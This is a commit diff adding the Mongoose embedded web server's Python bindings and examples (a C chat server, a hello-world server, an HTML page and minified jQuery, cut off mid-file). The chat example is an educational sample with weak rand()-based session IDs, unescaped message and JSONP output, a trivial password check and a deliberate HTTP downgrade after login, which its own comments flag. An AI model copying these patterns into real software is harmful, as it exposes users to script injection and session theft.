class mg_request_info(ctypes.Structure):
+
  """A wrapper for struct mg_request_info."""
+
  _fields_ = [
+
    ('user_data', ctypes.c_char_p),
+
    ('request_method', ctypes.c_char_p),
+
    ('uri', ctypes.c_char_p),
+
    ('http_version', ctypes.c_char_p),
+
    ('query_string', ctypes.c_char_p),
+
    ('remote_user', ctypes.c_char_p),
+
    ('log_message', ctypes.c_char_p),
+
    ('remote_ip', ctypes.c_long),
+
    ('remote_port', ctypes.c_int),
+
    ('status_code', ctypes.c_int),
+
    ('is_ssl', ctypes.c_int),
+
    ('num_headers', ctypes.c_int),
+
    ('http_headers', mg_header * 64),
+
  ]
+

+

+
mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p)
+

+

+
class Connection(object):
+
  """A wrapper class for all functions that take
+
  struct mg_connection * as the first argument."""
+

+
  def __init__(self, mongoose, connection):
+
    self.m = mongoose
+
    self.conn = ctypes.c_void_p(connection)
+
    self.info = self.m.dll.mg_get_request_info(self.conn).contents
+

+
  def get_header(self, name):
+
    val = self.m.dll.mg_get_header(self.conn, name)
+
    return ctypes.c_char_p(val).value
+

+
  def get_var(self, data, name):
+
    size = data and len(data) or 0
+
    buf = ctypes.create_string_buffer(size)
+
    n = self.m.dll.mg_get_var(data, size, name, buf, size)
+
    return n >= 0 and buf or None
+

+
  def printf(self, fmt, *args):
+
    val = self.m.dll.mg_printf(self.conn, fmt, *args)
+
    return ctypes.c_int(val).value
+

+
  def write(self, data):
+
    val = self.m.dll.mg_write(self.conn, data, len(data))
+
    return ctypes.c_int(val).value
+

+
  def read(self, size):
+
    buf = ctypes.create_string_buffer(size)
+
    n = self.m.dll.mg_read(self.conn, buf, size)
+
    return n <= 0 and None or buf[:n]
+

+
  def send_file(self, path):
+
    self.m.dll.mg_send_file(self.conn, path)
+

+

+
class Mongoose(object):
+
  """A wrapper class for Mongoose shared library."""
+

+
  def __init__(self, callback, **kwargs):
+
    if os.name == 'nt':
+
      self.dll = ctypes.WinDLL('_mongoose.dll')
+
    else:
+
      self.dll = ctypes.CDLL('_mongoose.so')
+

+
    self.dll.mg_start.restype = ctypes.c_void_p
+
    self.dll.mg_modify_passwords_file.restype = ctypes.c_int
+
    self.dll.mg_read.restype = ctypes.c_int
+
    self.dll.mg_write.restype = ctypes.c_int
+
    self.dll.mg_printf.restype = ctypes.c_int
+
    self.dll.mg_get_header.restype = ctypes.c_char_p
+
    self.dll.mg_get_var.restype = ctypes.c_int
+
    self.dll.mg_get_cookie.restype = ctypes.c_int
+
    self.dll.mg_get_option.restype = ctypes.c_char_p
+
    self.dll.mg_get_request_info.restype = ctypes.POINTER(mg_request_info)
+

+
    if callback:
+
      # Create a closure that will be called by the  shared library.
+
      def func(event, connection):
+
        # Wrap connection pointer into the connection
+
        # object and call Python callback
+
        conn = Connection(self, connection)
+
        return callback(event, conn) and 1 or 0
+

+
      # Convert the closure into C callable object
+
      self.callback = mg_callback_t(func)
+
      self.callback.restype = ctypes.c_char_p
+
    else:
+
      self.callback = ctypes.c_void_p(0)
+

+
    args = [y for x in kwargs.items() for y in x] + [None]
+
    options = (ctypes.c_char_p * len(args))(*args)
+

+
    ret = self.dll.mg_start(self.callback, 0, options)
+
    self.ctx = ctypes.c_void_p(ret)
+

+
  def __del__(self):
+
    """Destructor, stop Mongoose instance."""
+
    self.dll.mg_stop(self.ctx)
+

+
  def get_option(self, name):
+
    return self.dll.mg_get_option(self.ctx, name)
added plugins/pkg-plugins-serve/mongoose/examples/Makefile
@@ -0,0 +1,8 @@
+
CFLAGS=	-W -Wall -I.. -pthread -g
+

+
all:
+
	OS=`uname`; \
+
	  test "$$OS" = Linux && LIBS="-ldl" ; \
+
	  $(CC) $(CFLAGS) hello.c ../mongoose.c  $$LIBS $(ADD) -o hello;
+
	  $(CC) $(CFLAGS) post.c ../mongoose.c  $$LIBS $(ADD) -o post;
+
	  $(CC) $(CFLAGS) chat.c ../mongoose.c  $$LIBS $(ADD) -o chat
added plugins/pkg-plugins-serve/mongoose/examples/chat.c
@@ -0,0 +1,387 @@
+
// This file is part of the Mongoose project, http://code.google.com/p/mongoose
+
// It implements an online chat server. For more details,
+
// see the documentation on the project web site.
+
// To test the application,
+
// 1. type "make" in the directory where this file lives
+
// 2. point your browser to http://127.0.0.1:8081
+

+
#include <stdio.h>
+
#include <stdlib.h>
+
#include <assert.h>
+
#include <string.h>
+
#include <time.h>
+
#include <stdarg.h>
+
#include <pthread.h>
+

+
#include "mongoose.h"
+

+
#define MAX_USER_LEN  20
+
#define MAX_MESSAGE_LEN  100
+
#define MAX_MESSAGES 5
+
#define MAX_SESSIONS 2
+
#define SESSION_TTL 120
+

+
static const char *authorize_url = "/authorize";
+
static const char *login_url = "/login.html";
+
static const char *ajax_reply_start =
+
  "HTTP/1.1 200 OK\r\n"
+
  "Cache: no-cache\r\n"
+
  "Content-Type: application/x-javascript\r\n"
+
  "\r\n";
+

+
// Describes single message sent to a chat. If user is empty (0 length),
+
// the message is then originated from the server itself.
+
struct message {
+
  long id;                     // Message ID
+
  char user[MAX_USER_LEN];     // User that have sent the message
+
  char text[MAX_MESSAGE_LEN];  // Message text
+
  time_t timestamp;            // Message timestamp, UTC
+
};
+

+
// Describes web session.
+
struct session {
+
  char session_id[33];      // Session ID, must be unique
+
  char random[20];          // Random data used for extra user validation
+
  char user[MAX_USER_LEN];  // Authenticated user
+
  time_t expire;            // Expiration timestamp, UTC
+
};
+

+
static struct message messages[MAX_MESSAGES];  // Ringbuffer for messages
+
static struct session sessions[MAX_SESSIONS];  // Current sessions
+
static long last_message_id;
+

+
// Protects messages, sessions, last_message_id
+
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
+

+
// Get session object for the connection. Caller must hold the lock.
+
static struct session *get_session(const struct mg_connection *conn) {
+
  int i;
+
  char session_id[33];
+
  time_t now = time(NULL);
+
  mg_get_cookie(conn, "session", session_id, sizeof(session_id));
+
  for (i = 0; i < MAX_SESSIONS; i++) {
+
    if (sessions[i].expire != 0 &&
+
        sessions[i].expire > now &&
+
        strcmp(sessions[i].session_id, session_id) == 0) {
+
      break;
+
    }
+
  }
+
  return i == MAX_SESSIONS ? NULL : &sessions[i];
+
}
+

+
static void get_qsvar(const struct mg_request_info *request_info,
+
                      const char *name, char *dst, size_t dst_len) {
+
  const char *qs = request_info->query_string;
+
  mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
+
}
+

+
// Get a get of messages with IDs greater than last_id and transform them
+
// into a JSON string. Return that string to the caller. The string is
+
// dynamically allocated, caller must free it. If there are no messages,
+
// NULL is returned.
+
static char *messages_to_json(long last_id) {
+
  const struct message *message;
+
  int max_msgs, len;
+
  char buf[sizeof(messages)];  // Large enough to hold all messages
+

+
  // Read-lock the ringbuffer. Loop over all messages, making a JSON string.
+
  pthread_rwlock_rdlock(&rwlock);
+
  len = 0;
+
  max_msgs = sizeof(messages) / sizeof(messages[0]);
+
  // If client is too far behind, return all messages.
+
  if (last_message_id - last_id > max_msgs) {
+
    last_id = last_message_id - max_msgs;
+
  }
+
  for (; last_id < last_message_id; last_id++) {
+
    message = &messages[last_id % max_msgs];
+
    if (message->timestamp == 0) {
+
      break;
+
    }
+
    // buf is allocated on stack and hopefully is large enough to hold all
+
    // messages (it may be too small if the ringbuffer is full and all
+
    // messages are large. in this case asserts will trigger).
+
    len += snprintf(buf + len, sizeof(buf) - len,
+
        "{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
+
        message->user, message->text, message->timestamp, message->id);
+
    assert(len > 0);
+
    assert((size_t) len < sizeof(buf));
+
  }
+
  pthread_rwlock_unlock(&rwlock);
+

+
  return len == 0 ? NULL : strdup(buf);
+
}
+

+
// If "callback" param is present in query string, this is JSONP call.
+
// Return 1 in this case, or 0 if "callback" is not specified.
+
// Wrap an output in Javascript function call.
+
static int handle_jsonp(struct mg_connection *conn,
+
                        const struct mg_request_info *request_info) {
+
  char cb[64];
+

+
  get_qsvar(request_info, "callback", cb, sizeof(cb));
+
  if (cb[0] != '\0') {
+
    mg_printf(conn, "%s(", cb);
+
  }
+

+
  return cb[0] == '\0' ? 0 : 1;
+
}
+

+
// A handler for the /ajax/get_messages endpoint.
+
// Return a list of messages with ID greater than requested.
+
static void ajax_get_messages(struct mg_connection *conn,
+
                              const struct mg_request_info *request_info) {
+
  char last_id[32], *json;
+
  int is_jsonp;
+

+
  mg_printf(conn, "%s", ajax_reply_start);
+
  is_jsonp = handle_jsonp(conn, request_info);
+

+
  get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
+
  if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
+
    mg_printf(conn, "[%s]", json);
+
    free(json);
+
  }
+

+
  if (is_jsonp) {
+
    mg_printf(conn, "%s", ")");
+
  }
+
}
+

+
// Allocate new message. Caller must hold the lock.
+
static struct message *new_message(void) {
+
  static int size = sizeof(messages) / sizeof(messages[0]);
+
  struct message *message = &messages[last_message_id % size];
+
  message->id = last_message_id++;
+
  message->timestamp = time(0);
+
  return message;
+
}
+

+
static void my_strlcpy(char *dst, const char *src, size_t len) {
+
  strncpy(dst, src, len);
+
  dst[len - 1] = '\0';
+
}
+

+
// A handler for the /ajax/send_message endpoint.
+
static void ajax_send_message(struct mg_connection *conn,
+
                              const struct mg_request_info *request_info) {
+
  struct message *message;
+
  struct session *session;
+
  char text[sizeof(message->text) - 1];
+
  int is_jsonp;
+

+
  mg_printf(conn, "%s", ajax_reply_start);
+
  is_jsonp = handle_jsonp(conn, request_info);
+

+
  get_qsvar(request_info, "text", text, sizeof(text));
+
  if (text[0] != '\0') {
+
    // We have a message to store. Write-lock the ringbuffer,
+
    // grab the next message and copy data into it.
+
    pthread_rwlock_wrlock(&rwlock);
+
    message = new_message();
+
    // TODO(lsm): JSON-encode all text strings
+
    session = get_session(conn);
+
    assert(session != NULL);
+
    my_strlcpy(message->text, text, sizeof(text));
+
    my_strlcpy(message->user, session->user, sizeof(message->user));
+
    pthread_rwlock_unlock(&rwlock);
+
  }
+

+
  mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
+

+
  if (is_jsonp) {
+
    mg_printf(conn, "%s", ")");
+
  }
+
}
+

+
// Redirect user to the login form. In the cookie, store the original URL
+
// we came from, so that after the authorization we could redirect back.
+
static void redirect_to_login(struct mg_connection *conn,
+
                              const struct mg_request_info *request_info) {
+
  mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+
      "Set-Cookie: original_url=%s\r\n"
+
      "Location: %s\r\n\r\n",
+
      request_info->uri, login_url);
+
}
+

+
// Return 1 if username/password is allowed, 0 otherwise.
+
static int check_password(const char *user, const char *password) {
+
  // In production environment we should ask an authentication system
+
  // to authenticate the user.
+
  // Here however we do trivial check that user and password are not empty
+
  return (user[0] && password[0]);
+
}
+

+
// Allocate new session object
+
static struct session *new_session(void) {
+
  int i;
+
  time_t now = time(NULL);
+
  pthread_rwlock_wrlock(&rwlock);
+
  for (i = 0; i < MAX_SESSIONS; i++) {
+
    if (sessions[i].expire == 0 || sessions[i].expire < now) {
+
      sessions[i].expire = time(0) + SESSION_TTL;
+
      break;
+
    }
+
  }
+
  pthread_rwlock_unlock(&rwlock);
+
  return i == MAX_SESSIONS ? NULL : &sessions[i];
+
}
+

+
// Generate session ID. buf must be 33 bytes in size.
+
// Note that it is easy to steal session cookies by sniffing traffic.
+
// This is why all communication must be SSL-ed.
+
static void generate_session_id(char *buf, const char *random,
+
                                const char *user) {
+
  mg_md5(buf, random, user, NULL);
+
}
+

+
static void send_server_message(const char *fmt, ...) {
+
  va_list ap;
+
  struct message *message;
+

+
  pthread_rwlock_wrlock(&rwlock);
+
  message = new_message();
+
  message->user[0] = '\0';  // Empty user indicates server message
+
  va_start(ap, fmt);
+
  vsnprintf(message->text, sizeof(message->text), fmt, ap);
+
  va_end(ap);
+

+
  pthread_rwlock_unlock(&rwlock);
+
}
+

+
// A handler for the /authorize endpoint.
+
// Login page form sends user name and password to this endpoint.
+
static void authorize(struct mg_connection *conn,
+
                      const struct mg_request_info *request_info) {
+
  char user[MAX_USER_LEN], password[MAX_USER_LEN];
+
  struct session *session;
+

+
  // Fetch user name and password.
+
  get_qsvar(request_info, "user", user, sizeof(user));
+
  get_qsvar(request_info, "password", password, sizeof(password));
+

+
  if (check_password(user, password) && (session = new_session()) != NULL) {
+
    // Authentication success:
+
    //   1. create new session
+
    //   2. set session ID token in the cookie
+
    //   3. remove original_url from the cookie - not needed anymore
+
    //   4. redirect client back to the original URL
+
    //
+
    // The most secure way is to stay HTTPS all the time. However, just to
+
    // show the technique, we redirect to HTTP after the successful
+
    // authentication. The danger of doing this is that session cookie can
+
    // be stolen and an attacker may impersonate the user.
+
    // Secure application must use HTTPS all the time.
+
    my_strlcpy(session->user, user, sizeof(session->user));
+
    snprintf(session->random, sizeof(session->random), "%d", rand());
+
    generate_session_id(session->session_id, session->random, session->user);
+
    send_server_message("<%s> joined", session->user);
+
    mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+
        "Set-Cookie: session=%s; max-age=3600; http-only\r\n"  // Session ID
+
        "Set-Cookie: user=%s\r\n"  // Set user, needed by Javascript code
+
        "Set-Cookie: original_url=/; max-age=0\r\n"  // Delete original_url
+
        "Location: /\r\n\r\n",
+
        session->session_id, session->user);
+
  } else {
+
    // Authentication failure, redirect to login.
+
    redirect_to_login(conn, request_info);
+
  }
+
}
+

+
// Return 1 if request is authorized, 0 otherwise.
+
static int is_authorized(const struct mg_connection *conn,
+
                         const struct mg_request_info *request_info) {
+
  struct session *session;
+
  char valid_id[33];
+
  int authorized = 0;
+

+
  // Always authorize accesses to login page and to authorize URI
+
  if (!strcmp(request_info->uri, login_url) ||
+
      !strcmp(request_info->uri, authorize_url)) {
+
    return 1;
+
  }
+

+
  pthread_rwlock_rdlock(&rwlock);
+
  if ((session = get_session(conn)) != NULL) {
+
    generate_session_id(valid_id, session->random, session->user);
+
    if (strcmp(valid_id, session->session_id) == 0) {
+
      session->expire = time(0) + SESSION_TTL;
+
      authorized = 1;
+
    }
+
  }
+
  pthread_rwlock_unlock(&rwlock);
+

+
  return authorized;
+
}
+

+
static void redirect_to_ssl(struct mg_connection *conn,
+
                            const struct mg_request_info *request_info) {
+
  const char *p, *host = mg_get_header(conn, "Host");
+
  if (host != NULL && (p = strchr(host, ':')) != NULL) {
+
    mg_printf(conn, "HTTP/1.1 302 Found\r\n"
+
              "Location: https://%.*s:8082/%s:8082\r\n\r\n",
+
              (int) (p - host), host, request_info->uri);
+
  } else {
+
    mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
+
  }
+
}
+

+
static void *event_handler(enum mg_event event,
+
                           struct mg_connection *conn) {
+
  const struct mg_request_info *request_info = mg_get_request_info(conn);
+
  void *processed = "yes";
+

+
  if (event == MG_NEW_REQUEST) {
+
    if (!request_info->is_ssl) {
+
      redirect_to_ssl(conn, request_info);
+
    } else if (!is_authorized(conn, request_info)) {
+
      redirect_to_login(conn, request_info);
+
    } else if (strcmp(request_info->uri, authorize_url) == 0) {
+
      authorize(conn, request_info);
+
    } else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
+
      ajax_get_messages(conn, request_info);
+
    } else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
+
      ajax_send_message(conn, request_info);
+
    } else {
+
      // No suitable handler found, mark as not processed. Mongoose will
+
      // try to serve the request.
+
      processed = NULL;
+
    }
+
  } else {
+
    processed = NULL;
+
  }
+

+
  return processed;
+
}
+

+
static const char *options[] = {
+
  "document_root", "html",
+
  "listening_ports", "8081,8082s",
+
  "ssl_certificate", "ssl_cert.pem",
+
  "num_threads", "5",
+
  NULL
+
};
+

+
int main(void) {
+
  struct mg_context *ctx;
+

+
  // Initialize random number generator. It will be used later on for
+
  // the session identifier creation.
+
  srand((unsigned) time(0));
+

+
  // Setup and start Mongoose
+
  if ((ctx = mg_start(&event_handler, NULL, options)) == NULL) {
+
    printf("%s\n", "Cannot start chat server, fatal exit");
+
    exit(EXIT_FAILURE);
+
  }
+

+
  // Wait until enter is pressed, then exit
+
  printf("Chat server started on ports %s, press enter to quit.\n",
+
         mg_get_option(ctx, "listening_ports"));
+
  getchar();
+
  mg_stop(ctx);
+
  printf("%s\n", "Chat server stopped.");
+

+
  return EXIT_SUCCESS;
+
}
+

+
// vim:ts=2:sw=2:et
added plugins/pkg-plugins-serve/mongoose/examples/hello.c
@@ -0,0 +1,37 @@
+
#include <stdio.h>
+
#include <string.h>
+
#include "mongoose.h"
+

+
static void *callback(enum mg_event event,
+
                      struct mg_connection *conn) {
+
  const struct mg_request_info *request_info = mg_get_request_info(conn);
+

+
  if (event == MG_NEW_REQUEST) {
+
    char content[1024];
+
    int content_length = snprintf(content, sizeof(content),
+
                                  "Hello from mongoose! Remote port: %d",
+
                                  request_info->remote_port);
+
    mg_printf(conn,
+
              "HTTP/1.1 200 OK\r\n"
+
              "Content-Type: text/plain\r\n"
+
              "Content-Length: %d\r\n"        // Always set Content-Length
+
              "\r\n"
+
              "%s",
+
              content_length, content);
+
    // Mark as processed
+
    return "";
+
  } else {
+
    return NULL;
+
  }
+
}
+

+
int main(void) {
+
  struct mg_context *ctx;
+
  const char *options[] = {"listening_ports", "8080", NULL};
+

+
  ctx = mg_start(&callback, NULL, options);
+
  getchar();  // Wait until user hits "enter"
+
  mg_stop(ctx);
+

+
  return 0;
+
}
added plugins/pkg-plugins-serve/mongoose/examples/html/favicon.ico
added plugins/pkg-plugins-serve/mongoose/examples/html/index.html
@@ -0,0 +1,73 @@
+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
+
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> 
+
  <!-- This file is part of the  Mongoose project,
+
    http://code.google.com/p/mongoose -->
+
  <head>
+
    <title>Mongoose chat server</title>
+
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+
    <link type="text/css" rel="stylesheet" href="style.css"/>
+
    <script src="jquery.js"></script>
+
    <script src="main.js"></script>
+
  </head>
+

+
  <body>
+
  <div id="header">
+
    <div id="logo"></div>
+
    <div class="rounded infobox help-message" id="motd">
+
      Chat room implemented using
+
      <a href="http://code.google.com/p/mongoose" target="_blank">Mongoose</a>
+
      embeddable web server.
+
      This application was written for educational purposes demonstrating
+
      how web interface could be decoupled from the business logic. Not a
+
      single line of HTML is generated by the server, instead, server
+
      gives data to the client in JSON format.
+
    </div>
+
  </div>
+
  <div>
+

+
  <div id="middle">
+
    <div><center><span id="error" class="rounded"></span><center></div>
+

+
    <div id="menu">
+
      <div class="menu-item left-rounded menu-item-selected"
+
      	name="chat">Chat</div>
+
      <div class="menu-item left-rounded" name="settings">Settings</div>
+
    </div>
+

+
    <div id="content" class="rounded">
+

+
      <div id="chat" class="main">
+
        <div class="chat-window">
+
          <span class="top-rounded chat-title">Main room</span>
+
          <div class="bottom-rounded chat-content">
+
            <div class="message-list" id="mml">
+
            </div>
+
            <input type="text" size="40" class="message-input"></input>
+
            <span class="help-message">
+
              Type your message here and press enter</span>
+
          </div>
+
        </div>
+
      </div>
+

+
      <div id="settings" class="hidden main">
+
        <div>
+
          <span class="top-rounded chat-title">Settings</span>
+
          <div class="bottom-rounded chat-content">
+
	    <table>
+
	      <tr><td>Max messages to display:</td><td>blah blah</td></tr>
+
	      <tr><td>Text color:</td><td>blah blah</td></tr>
+
	    </table>
+
          </div>
+
        </div>
+
      </div>
+

+
    </div>
+
  </div>
+

+
  <div id="footer">
+
    Copyright &copy; 2004-2010 by Sergey Lyubka
+
  </div>
+

+
  </body>
+
</html>
added plugins/pkg-plugins-serve/mongoose/examples/html/jquery.js
@@ -0,0 +1,154 @@
+
/*!
+
 * jQuery JavaScript Library v1.4.2
+
 * http://jquery.com/
+
 *
+
 * Copyright 2010, John Resig
+
 * Dual licensed under the MIT or GPL Version 2 licenses.
+
 * http://jquery.org/license
+
 *
+
 * Includes Sizzle.js
+
 * http://sizzlejs.com/
+
 * Copyright 2010, The Dojo Foundation
+
 * Released under the MIT, BSD, and GPL Licenses.
+
 *
+
 * Date: Sat Feb 13 22:33:48 2010 -0500
+
 */
+
(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o<i;o++)e(a[o],b,f?d.call(a[o],o,e(a[o],b)):d,j);return a}return i?
+
e(a[0],b):w}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function na(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function oa(a){var b,d=[],f=[],e=arguments,j,i,o,k,n,r;i=c.data(this,"events");if(!(a.liveFired===this||!i||!i.live||a.button&&a.type==="click")){a.liveFired=this;var u=i.live.slice(0);for(k=0;k<u.length;k++){i=u[k];i.origType.replace(O,"")===a.type?f.push(i.selector):u.splice(k--,1)}j=c(a.target).closest(f,a.currentTarget);n=0;for(r=
+
j.length;n<r;n++)for(k=0;k<u.length;k++){i=u[k];if(j[n].selector===i.selector){o=j[n].elem;f=null;if(i.preType==="mouseenter"||i.preType==="mouseleave")f=c(a.relatedTarget).closest(i.selector)[0];if(!f||f!==o)d.push({elem:o,handleObj:i})}}n=0;for(r=d.length;n<r;n++){j=d[n];a.currentTarget=j.elem;a.data=j.handleObj.data;a.handleObj=j.handleObj;if(j.handleObj.origHandler.apply(j.elem,e)===false){b=false;break}}return b}}function pa(a,b){return"live."+(a&&a!=="*"?a+".":"")+b.replace(/\./g,"`").replace(/ /g,
+
"&")}function qa(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function ra(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var j in f)for(var i in f[j])c.event.add(this,j,f[j][i],f[j][i].data)}}})}function sa(a,b,d){var f,e,j;b=b&&b[0]?b[0].ownerDocument||b[0]:s;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&b===s&&!ta.test(a[0])&&(c.support.checkClone||!ua.test(a[0]))){e=
+
true;if(j=c.fragments[a[0]])if(j!==1)f=j}if(!f){f=b.createDocumentFragment();c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=j?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(va.concat.apply([],va.slice(0,b)),function(){d[this]=a});return d}function wa(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Ra=A.jQuery,Sa=A.$,s=A.document,T,Ta=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,
+
Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&
+
(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,
+
a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b===
+
"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,
+
function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(j in e){i=a[j];o=e[j];if(a!==o)if(f&&o&&(c.isPlainObject(o)||c.isArray(o))){i=i&&(c.isPlainObject(i)||
+
c.isArray(i))?i:c.isArray(o)?[]:{};a[j]=c.extend(f,i,o)}else if(o!==w)a[j]=o}return a};c.extend({noConflict:function(a){A.$=Sa;if(a)A.jQuery=Ra;return c},isReady:false,ready:function(){if(!c.isReady){if(!s.body)return setTimeout(c.ready,13);c.isReady=true;if(Q){for(var a,b=0;a=Q[b++];)a.call(s,c);Q=null}c.fn.triggerHandler&&c(s).triggerHandler("ready")}},bindReady:function(){if(!xa){xa=true;if(s.readyState==="complete")return c.ready();if(s.addEventListener){s.addEventListener("DOMContentLoaded",
+
L,false);A.addEventListener("load",c.ready,false)}else if(s.attachEvent){s.attachEvent("onreadystatechange",L);A.attachEvent("onload",c.ready);var a=false;try{a=A.frameElement==null}catch(b){}s.documentElement.doScroll&&a&&ma()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,
+
"isPrototypeOf"))return false;var b;for(b in a);return b===w||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;a=c.trim(a);if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return A.JSON&&A.JSON.parse?A.JSON.parse(a):(new Function("return "+
+
a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Va.test(a)){var b=s.getElementsByTagName("head")[0]||s.documentElement,d=s.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(s.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,j=a.length,i=j===w||c.isFunction(a);if(d)if(i)for(f in a){if(b.apply(a[f],
+
d)===false)break}else for(;e<j;){if(b.apply(a[e++],d)===false)break}else if(i)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=a[0];e<j&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Wa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===
+
a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==w;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,j=a.length;e<j;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,j=0,i=a.length;j<i;j++){e=b(a[j],j,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=w}else if(b&&
+
